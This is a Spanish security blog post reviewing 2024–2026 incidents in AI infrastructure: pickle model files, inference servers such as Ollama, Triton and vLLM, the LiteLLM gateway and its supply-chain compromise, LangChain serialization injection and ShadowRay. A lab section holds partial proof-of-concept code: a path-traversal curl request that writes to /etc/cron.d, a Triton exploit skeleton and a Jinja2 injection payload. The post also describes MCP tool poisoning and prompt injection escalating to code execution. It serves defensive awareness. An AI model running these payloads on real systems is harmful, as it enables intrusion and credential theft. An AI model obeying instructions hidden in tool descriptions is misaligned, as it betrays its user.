Saltar al contenido
Volver al Blog

ai-security · 18 min de lectura

AI infrastructure: dos años de incidentes que confirman la categoría

Pickle como formato heredado roto, inference servers como HTTP attack surface nueva, AI gateways como pivote a la infra y frameworks ML con seguridad de proyecto research. Síntesis del arco 2024–2026 con los hitos de Wiz / Oligo / JFrog / Orca / Datadog y los PoCs que dejaron.

· Manuel López Pérez · ai-security

Pickle como formato heredado roto, inference servers como HTTP attack surface nueva, AI gateways como pivote a la infra y frameworks ML con seguridad de proyecto research. Síntesis del arco 2024–2026 con los hitos de Wiz / Oligo / JFrog / Orca / Datadog y los PoCs que dejaron.

Dos años atrás, “AI security” significaba prompt injection, jailbreaks y model evaluations. La superficie era el modelo — qué dice y cómo se le hace decir otra cosa. En mayo de 2026, la conversación operativa ha cambiado: el problema dominante no está en el modelo, está en todo lo que se monta alrededor para servirlo. Servidores de inferencia con curl evil.com | parse en el endpoint. AI gateways con la API key de OpenAI en el proxy y SSRF en el parámetro api_base. Frameworks ML que cargan pickle por defecto y consideran weights_only=True mitigación. Plataformas as-a-service con pickle cross-tenant. Bibliotecas de orquestación con serialization injection. Y el cierre del arco: el compromiso de los productos de seguridad (Trivy, Checkmarx) para infiltrarse en los AI gateways que dependen de ellos.

Este post es la pieza de síntesis. Recoge los 12+ hitos públicos de 2024–2026 que vamos a referenciar el resto del año cuando alguien pregunte “¿por qué AI infrastructure es categoría aparte?“.

Lab: los PoCs de Probllama, NVIDIA Triton chain y LangGrinch son reproducibles en VM Linux. Pickle malicioso contra torch.load(weights_only=True) también — el patch llega en PyTorch 2.6.0, anteriores son explotables.

La columna vertebral: pickle como formato heredado roto

PyTorch eligió pickle como formato de serialización por defecto hace una década. La decisión fue consciente: pickle es Python nativo, soporta cualquier objeto y elimina la necesidad de un parser propio. La consecuencia operativa es que cualquier fichero .pt o .bin es un binario ejecutable disfrazado de archivo de datos. Pickle ejecuta código nativo en el momento del load, antes de cualquier validación humana.

El año en el que esta consecuencia se hace pública:

  • Febrero 2024 — JFrog encuentra ~100 modelos con backdoor silencioso en Hugging Face Hub. Clones de modelos legítimos (bert-base-uncased, variantes de gpt2) con payload pickle adjunto que abre reverse shells o llama a C2 atacante. Hugging Face no tenía escáner activo antes de la disclosure.
  • Abril 2024 — Wiz Research publica el primer caso público de cross-tenant en AI-as-a-Service. Sube un modelo PyTorch con __reduce__ malicioso al inference compartido de HF y ejecuta código dentro del contenedor que sirve a otros clientes. Lee modelos y tokens cross-tenant. La misma plataforma sufre takeover del CI/CD vía Spaces.
  • Diciembre 2024 — JFrog publica 22 vulnerabilidades en MLflow, H2O, PyTorch y MLeap. La mitad son variaciones del mismo patrón: el formato de modelo del framework ejecuta código nativo al cargarse.
  • Abril 2025 — CVE-2025-32434 (CVSS 9.3) rompe la mitigación canónica. torch.load(weights_only=True) — el flag que la documentación recomendaba como “carga segura” — es bypaseable con un fichero crafted. PyTorch 2.5.1 y anteriores son vulnerables. La postura defensiva del ecosistema queda invalidada de un solo CVE.

La acción defensiva del año: safetensors. Hugging Face promueve el formato (solo metadata + tensores, sin código ejecutable), picklescan se integra automáticamente al subir, y la mayoría de model registries enterprise rechazan pickle por defecto a partir de Q3 2025. Pero el problema arrastra:

# Esto sigue siendo el patrón de carga por defecto en miles de pipelines:
import torch
model = torch.load("./model.pt")  # ejecuta cualquier pickle adjunto

El parche de PyTorch 2.6.0 hace weights_only=True realmente seguro contra el bypass conocido. Pero el problema estructural — formato de modelo que ejecuta código en load() — sigue siendo el contrato del ecosistema. Cualquier herramienta que cargue modelos de fuentes no controladas tiene que pasar por picklescan o forzar safetensors. Sigue siendo opt-in.

Inference servers — HTTP attack surface con superficie multimodal compleja

Hace dos años, “inference server” significaba un endpoint que recibía texto y devolvía texto. En mayo de 2026, significa un binario HTTP que parsea video, imagen, audio, embeddings, model files, tool descriptions, y artifacts multimedia — cada uno con su cadena de codecs nativos (FFmpeg, OpenCV, Pillow, libwebp, libpng). La superficie es la de un media server enterprise con la madurez de un proyecto research.

Los tres hitos que definen la categoría:

  • Mayo 2024 — Ollama Probllama (CVE-2024-37032). Wiz Research publica path traversal en el endpoint /api/pull que descarga modelos de un registry. El parámetro digest controla la ruta donde Ollama escribe el fichero descargado, sin validación. Atacante con acceso al API hace que Ollama sobreescriba binarios del sistema o configs que el servicio lee al arrancar. RCE persistente al siguiente restart. Wiz cuenta más de 1.000 instancias Ollama expuestas a internet al momento de la disclosure. Cobertura en el boletín de mayo 2024.
  • Agosto 2025 — NVIDIA Triton chain (CVE-2025-23319 + CVE-2025-23320 + CVE-2025-23334). Wiz publica cadena de tres CVEs contra el Python backend de Triton Inference Server. Paso 1: información leak — el atacante obtiene el nombre único de una región de shared memory interna enviando una request crafted. Paso 2: con ese nombre, lectura/escritura en esa región. Paso 3: con read/write, corrompe estructuras internas y dispara ejecución de código. Patch en Triton 25.07. Decenas de miles de instancias expuestas según Shodan. Cobertura en el boletín de agosto 2025.
  • Febrero 2026 — vLLM CVE-2026-22778 (CVSS 9.8). Orca Security publica RCE pre-auth en vLLM vía URL de vídeo crafted enviada al endpoint multimodal. La cadena vive dentro del decoder JPEG2000 de OpenCV (que vLLM usa por su dependencia con FFmpeg): primero un info leak vía excepción de PIL revela una dirección de heap del BytesIO (reduciendo ASLR de 4·10⁹ a ~8 intentos), después un heap overflow encadenado da control de flujo. Patch en vLLM 0.14.1. Cobertura en el boletín de febrero 2026.

A los tres hay que sumar CVE-2025-62164 (vLLM, deserialización en Completions API), CVE-2026-22807 (vLLM, code injection en model load vía auto_map sin gating sobre trust_remote_code) y CVE-2024-50050 (Meta llama-stack, copy-paste pickle replicada en NVIDIA TensorRT-LLM como CVE-2025-23254).

El patrón estructural es claro:

inference server = HTTP server con:
 - estado complejo (multi-modelo, multi-tenant)
 - parsers nativos heredados (FFmpeg, OpenCV, Pillow)
 - sin auth por defecto
 - despliegue como "trusted internal network" que termina en internet

Lo que antes era “servir un modelo” hoy es servir un binario que tira de seis codecs nativos. El threat model heredado de la cadena vllm[image,video] o ollama[full] no está reflejado en la posture de seguridad del operador. Reverse proxy con auth, segmentación de red y monitorización de carga GPU son los tres controles compensatorios que detienen estas tres CVEs en producción.

AI gateways — el proxy con credenciales como nuevo crown jewel

LiteLLM es el caso de estudio. Un AI gateway hace fan-out de llamadas LLM a múltiples proveedores (OpenAI, Anthropic, Azure, AWS Bedrock, local Ollama), consolida billing, aplica rate limiting, y centraliza credenciales. La empresa monta el proxy, mete ahí las API keys de los providers, y los devs llaman al proxy con credenciales internas más livianas. La clave del provider vive en el proxy, no en el dev — es la value proposition del producto.

En 2024, LiteLLM acumula seis CVEs públicas, todas relacionadas con el patrón de proxy con credenciales:

  • CVE-2024-2952 — SSTI Jinja en /completions por chat_template no sanitizado.
  • CVE-2024-5225 — SQL injection en /global/spend/logs por concatenación directa de api_key.
  • CVE-2024-5710 — improper access control en team management.
  • CVE-2024-5751 — RCE en /config/update vía add_deployment que decodifica base64 a os.environ.
  • CVE-2024-6587 — SSRF en api_base: el atacante setea el parámetro a su servidor, recibe la request reenviada con la API key del proxy en el header Authorization, se lleva la clave de OpenAI / Anthropic / Azure. Cobertura en el boletín de julio 2024.
  • CVE-2024-9606 — API key masking que solo enmascara los primeros 5 caracteres en logs.

Cada CVE es un patrón clásico de API gateway (SSRF, SQLi, SSTI) en un producto AI que hereda toda la superficie de un proxy tradicional. La razón es que lo es: AI gateway = API gateway + bus de prompts. La diferencia es la madurez del software.

El cierre del arco LiteLLM llega en marzo de 2026: TeamPCP supply chain. El grupo compromete primero el security scanner Trivy (19-mar) reescribiendo Git tags en aquasecurity/trivy-action con payload credential harvester. Cinco días después usan las credenciales PyPI del mantenedor de LiteLLM — capturadas vía el compromiso previo de Trivy — para publicar litellm==1.82.7 y litellm==1.82.8 con payload de tres etapas. Las herramientas que un dev instala para defenderse son el vector. El gateway de AI deja de ser solo un proxy con credenciales: es un punto de pivote a la infra que lo aloja. Cobertura en el boletín de marzo 2026.

La acción defensiva mínima para AI gateways en producción:

  1. Audit trail de credenciales del proveedor (qué dev / qué tenant pidió qué clave, cuándo).
  2. Rate limiting por destino (no solo por proveedor sino por host).
  3. Allowlist de api_base para bloquear SSRF.
  4. Pinning de versión + verificación de hash del paquete instalado.
  5. Aislamiento de red del proxy: si el AI gateway corre en un namespace con privilegios cloud (acceso a buckets, KMS, secrets manager), un compromiso del proxy se convierte en compromiso de la cuenta cloud.

Frameworks ML con la seguridad de un proyecto research

MCP tool poisoning (marzo 2025) abrió la categoría editorial. El servidor MCP malicioso esconde instrucciones en la descripción de un tool; el cliente las pasa al modelo como prompt; el modelo obedece. Lo que parecía spec problem en noviembre de 2024 (cuando analizamos MCP a nivel de protocolo) se convirtió en categoría operativa con OWASP MCP Top 10 v0.1 un año después.

El mismo patrón aparece en LangChain en diciembre de 2025. LangGrinch — CVE-2025-68664 (CVSS 9.3). Las funciones dumps() y dumpd() no escapan diccionarios con la clave 'lc' al serializar metadata libre. La clave 'lc' es el marcador interno de LangChain para sus objetos serializados; cuando el atacante consigue meter una estructura con 'lc' en datos controlados por usuario (additional_kwargs, response_metadata de una respuesta LLM), al re-serializar la conversación el round-trip carga objetos arbitrarios de los namespaces pre-approved langchain_core / langchain / langchain_community. Con secrets_from_env=True (default), exfilta variables de entorno. Con Jinja2 habilitado, RCE.

LangChain.js sufre el bug equivalente como CVE-2025-68665 (CVSS 8.6). Cobertura en el boletín de diciembre 2025.

# Patrón vulnerable: round-trip de conversación con campos LLM-controlados
from langchain_core.load import dumps, loads

# Atacante inyecta vía prompt injection un mensaje cuya response_metadata tenga:
malicious = {
    "lc": 1, "type": "constructor",
    "id": ["langchain", "schema", "..."],
    "kwargs": {"secrets_from_env": True, ...}
}

serialized = dumps(message)   # no escapa 'lc' en metadata
restored = loads(serialized)  # ejecuta el constructor del payload

El bug raíz: el sistema asume que el contenido de additional_kwargs y response_metadata es plano. En realidad, en un sistema con LLMs y prompt injection, cualquier campo controlable por el output del modelo es atacante-controlado. La superficie de attack incluye toda la conversación, no solo el último prompt.

Las funciones save / load / dumps / loads del SDK son superficie de ataque cuando el contenido proviene de un modelo. El patrón se repite:

FrameworkFunciónCVEAño
PyTorchtorch.load()CVE-2025-324342025
PyTorch Lightningtorch.load() sin weights_onlyCVE-2024-54522024
LangChaindumps() / loads()CVE-2025-686642025
LangChain.jsidemCVE-2025-686652025
vLLMtorch.load() en CompletionsCVE-2025-621642025
MLflowrecipe loader(varias JFrog 2024)2024

El safety classifier del SDK es afterthought. La pregunta operativa: ¿qué proceso de tu pipeline llama save/load con contenido cuyo origen incluye un LLM?

Diseño consciente sin defensas — el caso Ray

Anyscale Ray es el ejemplo extremo. CVE-2023-48022 (CVSS 9.8) — falta de autenticación en el Ray Job Submission API (/api/jobs/) — no es bug. Es diseño consciente: Ray se ejecuta en trusted network, dice Anyscale, y por tanto la API administrativa no requiere auth. El argumento es técnicamente válido. El problema es operativo: el deploy by default del usuario no contempla esa segmentación.

  • Marzo 2024 — ShadowRay 1.0 (Oligo Security). Campaña activa desde septiembre 2023. Miles de clusters Ray expuestos a internet con dashboards públicos. Atacantes lanzan jobs maliciosos vía API, ejecutan código arbitrario con privilegios del proceso, instalan XMRig minando Monero en GPUs corporativas, exfiltran credenciales cloud. Bytedance, Amazon, gobiernos entre las víctimas confirmadas. Cobertura en el boletín de marzo 2024.
  • Noviembre 2025 — ShadowRay 2.0 (mismo bug, escala distinta). 230.000 servidores Ray expuestos a internet (vs unos pocos miles en 2024). El botnet es ahora self-spreading: cada cluster comprometido escanea el espacio público de Ray dashboards y replica el payload. La carga incluye XMRig + sockstress (DDoS por TCP state exhaustion) probablemente contra pools rivales. Los payloads tienen firma de código generado por AI (docstrings verbosos innecesarios, echo sin uso, comentarios repetitivos, manejo de errores boilerplate). Operadores con poco bagaje de coding escalando con un modelo. Cobertura en el boletín de noviembre 2025.

Anyscale mantiene la posición en mayo de 2026: “Ray debe ejecutarse en red aislada”. Técnicamente correcto. Operacionalmente irrelevante. El argumento by design falla cuando el comportamiento del mercado es distinto al asumido por el proveedor.

El mismo patrón aplica a:

  • Ollama — localhost only by default, pero el comportamiento real incluye ollama serve en VPS con port forwarding.
  • MLflow tracking servers — internal network pero exponen LFI, XSS y artifact serving en cualquier red corporativa con desarrollo distribuido.
  • Hugging Face Spaces — sandboxed builders, hasta que un payload pickle se ejecuta en el host compartido.
  • MCP servers — user-installed only, hasta que el catálogo público se llena de servidores third-party con tool poisoning.

La lectura editorial es la misma para los cinco: el threat model declarado por el proveedor del framework es una decisión técnica que el operador hereda silenciosamente. Si la decisión asume aislamiento de red y el operador no lo provee, la responsabilidad operativa es ambigua y los CVEs no se asignan al framework — se quedan en el limbo de “abused, not exploited”.

PoCs reproducibles

Tres PoCs en sandbox que muestran las categorías sin tocar nada en producción.

Probllama (CVE-2024-37032) en Docker

Imagen Docker con Ollama 0.1.33 (anterior al patch):

docker run -d -p 11434:11434 --name ollama-vuln ollama/ollama:0.1.33

# El atacante envía el pull crafted:
curl -X POST http://localhost:11434/api/pull \
  -H "Content-Type: application/json" \
  -d '{
    "name": "evil.example.com/../../../../etc/cron.d/backdoor"
  }'

# Ollama escribe el manifest del modelo en /etc/cron.d/backdoor
# Al siguiente reinicio del contenedor, cron ejecuta lo que haya en el manifest

Ollama 0.1.34+ valida el formato del name y rechaza path traversal. La captura del comportamiento vulnerable confirma la categoría: un endpoint pensado para descargar modelos termina siendo write-anywhere primitive.

NVIDIA Triton chain (CVE-2025-23319/20/34) — esqueleto del exploit

Wiz no publica exploit completo, pero el chain está documentado. Setup de lab: Triton 24.06 sin patch + Python backend habilitado. El paso 1 es enviar una request al endpoint de inferencia que provoca un error parseando el modelo Python — el error message incluye el nombre único de la región de shared memory que Triton creó para ese request. Capturando ese nombre se accede a la región (paso 2), donde el atacante escribe estructuras de control que dirigen el flow del paso 3 a un callback atacante-controlado. El resultado es RCE en el proceso de Triton.

El esqueleto que reproduce el patrón sin armar el RCE completo:

import requests

# Paso 1: info leak
r = requests.post(
    "http://target:8000/v2/repository/models/vuln-model/load",
    json={"parameters": {"config": "..."}}  # crafted para forzar error
)
# El error message incluye algo como:
# "Cannot find shared memory region 'triton_shm_abc123_xyz789'"

shm_name = extract_shm_name(r.text)  # "triton_shm_abc123_xyz789"

# Paso 2: lectura de la región leakeada (vía API exposed con ese nombre)
# El backend Python permite acceso a shared memory por nombre sin auth
shm_data = requests.get(
    f"http://target:8000/v2/systemsharedmemory/region/{shm_name}/status"
)
# A partir de aquí, escritura controlada en la región dispara
# corrupción de estructuras internas → control de flujo

Patch en Triton 25.07. La cadena no requiere ningún exploit primitive sofisticado — requiere combinación de tres bugs lógicos en endpoints distintos que asumen confianza en el caller.

LangGrinch (CVE-2025-68664) en harness LangChain

Reproducible localmente con langchain-core <= 0.3.21:

from langchain_core.load import dumps, loads
from langchain_core.messages import AIMessage

# Atacante inyecta vía prompt injection un AIMessage cuya response_metadata
# contiene una estructura que LangChain interpreta como objeto serializado:
malicious_message = AIMessage(
    content="ok",
    response_metadata={
        "lc": 1,
        "type": "constructor",
        "id": ["langchain_core", "prompts", "prompt", "PromptTemplate"],
        "kwargs": {
            "template": "{{ ''.__class__.__mro__[1].__subclasses__()[...]() }}",
            "template_format": "jinja2"
        }
    }
)

# El operador serializa la conversación para persistir:
serialized = dumps(malicious_message)

# Al cargar de vuelta, LangChain instancia el PromptTemplate con Jinja2:
restored = loads(serialized)
# Jinja2 con acceso al __subclasses__ chain ejecuta código arbitrario

Fix en langchain-core >= 0.3.22: allowed_objects allowlist, Jinja2 deshabilitado por defecto, secrets_from_env=False. La defensa real requiere también revisar qué pipelines hacen round-trip de mensajes LLM (cache, streaming, persist-to-DB) — cualquier dumps/loads con mensaje LLM es punto a auditar.

Lectura operativa para CISO

Lo que vale la pena llevar al threat model corporativo a mayo de 2026:

  1. Inventario de AI infrastructure como categoría separada. No es “más software de Python”. Es servidores HTTP con superficie multimodal, proxies con credenciales de terceros, plataformas as-a-service con ejecución cross-tenant, y model registries con código ejecutable en load(). Si tu CMDB no distingue “inference server” de “API gateway”, el blast radius está infraestimado.
  2. Pickle como amenaza presente, no histórica. Cualquier torch.load, pickle.load o equivalente sobre fichero no controlado por el operador es RCE pendiente. weights_only=True ya no es mitigación universal tras CVE-2025-32434. Safetensors es la respuesta estructural; pin de versión de PyTorch ≥ 2.6.0 es la mínima.
  3. AI gateway = crown jewel. Tu LiteLLM / Portkey / Helicone / OpenRouter on-prem custodia API keys que valen dinero (cuotas OpenAI/Anthropic) y a veces datos (logs de prompts internos). Trátalo como tratarías un PAM: aislamiento de red, segregación de cuenta cloud, monitorización de paquete instalado vía hash, allowlist de versiones, alerting por publicación de nueva versión upstream.
  4. Inference servers detrás de auth. Ollama, vLLM, Triton, TGI, llama.cpp — todos los inference servers populares no tienen autenticación nativa o la tienen deshabilitada por defecto. Reverse proxy con auth + segmentación de red es la mínima. Si el servicio está internet-facing, asumir compromiso pendiente.
  5. Supply chain de paquetes Python y modelos. El compromiso de TeamPCP contra LiteLLM / Trivy / Checkmarx demuestra que los productos de seguridad son target válido. Para AI infra específicamente, pin estricto + verificación de hash + monitorización de cambios upstream son requerimiento, no buenas prácticas.
  6. Diseño “by design secure if isolated” como flag operativo. Ray, MCP servers locales, Ollama en localhost — los frameworks que delegan la seguridad al aislamiento de red son responsabilidad operativa completa del operador. El proveedor no va a parchear lo que considera comportamiento esperado.
  7. Pipeline save/load como superficie. Cualquier proceso que serialice/deserialice mensajes que pasaron por un LLM es ahora vector de prompt injection upgradeada a RCE. langchain-core, llama-index, haystack y dspy tienen funciones equivalentes — auditar uso interno.

La respuesta de los frontier labs llega en abril 2026

Anthropic publica el 7 de abril de 2026 Project Glasswing y el modelo Mythos — el primer gated frontier model comercial con harness obligatorio. Glasswing es respuesta directa al patrón que este post acaba de catalogar: si el riesgo de un modelo en producción no está en lo que dice sino en lo que ejecuta cuando tiene tool access, la respuesta defensiva tiene que estar en el harness, no en el modelo. La arquitectura Glasswing aplica safety classifiers en cada tool call, audit trail criptográfico verificable por terceros, rate limits diferenciados por categoría de acción (consulta vs escritura vs ejecución), y kill-switch remoto via signed messages.

Dos semanas después, OpenAI publica GPT-5.5-Cyber (23-abr-2026) — variante de GPT-5.5 entrenada específicamente para tareas blue team (triage SIEM, queries KQL, generación SIGMA), embedded en Microsoft Security Copilot Agents. Y Anthropic libera Claude Opus 4.7 (16-abr-2026) como modelo de frontera con extended thinking y soporte Glasswing nativo.

Lo que estos tres movimientos cierran respecto a este post: el lado defensivo del cuadrante AI infrastructure deja de ser solo patch + safetensors + pin de versión y empieza a tener producto comercial específico. El timeline coincide con el que el lado ofensivo cerró un año antes con XBOW alcanzando el #1 en HackerOne. El cuadrante completo está cubierto en el técnico de agentic red team.

El gap entre las disciplinas: el equipo de AI lleva 24 meses iterando sobre prompts, evals, agent harnesses y RAG. El equipo de security llevó otras décadas iterando sobre HTTP servers, deserialization, supply chain y identity. Los dos equipos no se reunieron en serio hasta 2024–2025. La cadena de incidentes que acabamos de recorrer es la documentación de ese punto ciego — y Glasswing es la primera respuesta industrial coordinada.

Referencias

Pickle / formato de modelo

Inference servers

AI gateways

Frameworks ML / SDK

Diseño “by design”

Posts propios del arco

Share:
Volver al Blog

Posts Relacionados

Ver Todos los Posts »
MCP a 16 meses del spec: 15+ incidentes, dos revisiones y un MCPwn explotado in the wild

ai-security · 20 min

MCP a 16 meses del spec: 15+ incidentes, dos revisiones y un MCPwn explotado in the wild

Marzo 2025 fue el mes del primer paper sobre tool poisoning con PoC. Marzo 2026 cierra un ciclo: dos revisiones del spec (2025-06-18 y 2025-11-25), OWASP MCP Top 10 v0.1, 15+ incidentes públicos, 24.000 secrets expuestos en configs de GitHub, 1.808 servidores escaneados con 66 % de findings, un benchmark académico (MCPTox) con 72,8 % de ASR contra o1-mini, y CVE-2026-33032 (nginx-ui MCPwn) explotado in the wild con parche el 15 de marzo. Lectura operativa del ecosistema.

· Manuel López Pérez

AI Security 2024 — dossier anual

ai-security · 41 min

AI Security 2024 — dossier anual

Doce meses en diez ejes. 2024 es el año en que AI infrastructure se reveló como categoría con CVEs propias, los agentes pasaron del laboratorio al producto (Claude Computer Use, MCP, Salesforce Agentforce), la regulación entró en aplicación (EU AI Act en vigor 1-ago, NIS2 deadline 17-oct, NIST AI 600-1), y los jailbreaks se profesionalizaron con métricas reproducibles (ArtPrompt, Many-shot, Skeleton Key). Por debajo, Recall sale sin threat modeling y se retira, Arup pierde $25M en una videollamada con deepfakes, y la cadena de incidentes pre-positioning (Volt Typhoon, Salt Typhoon, Storm-0558 fallout) recorre todo el año. Referencia anual canónica.

· Manuel López Pérez

Sleeper agents: cuando el ataque está dentro del modelo

ai-security · 11 min

Sleeper agents: cuando el ataque está dentro del modelo

Anthropic prefigura en Q4 una clase nueva de ataque: modelos entrenados con un trigger oculto que pasan los safety tests pero ejecutan comportamiento adversarial al ver el trigger en producción. El paper sale en enero 2024; la implicación llega ahora.

· Manuel López Pérez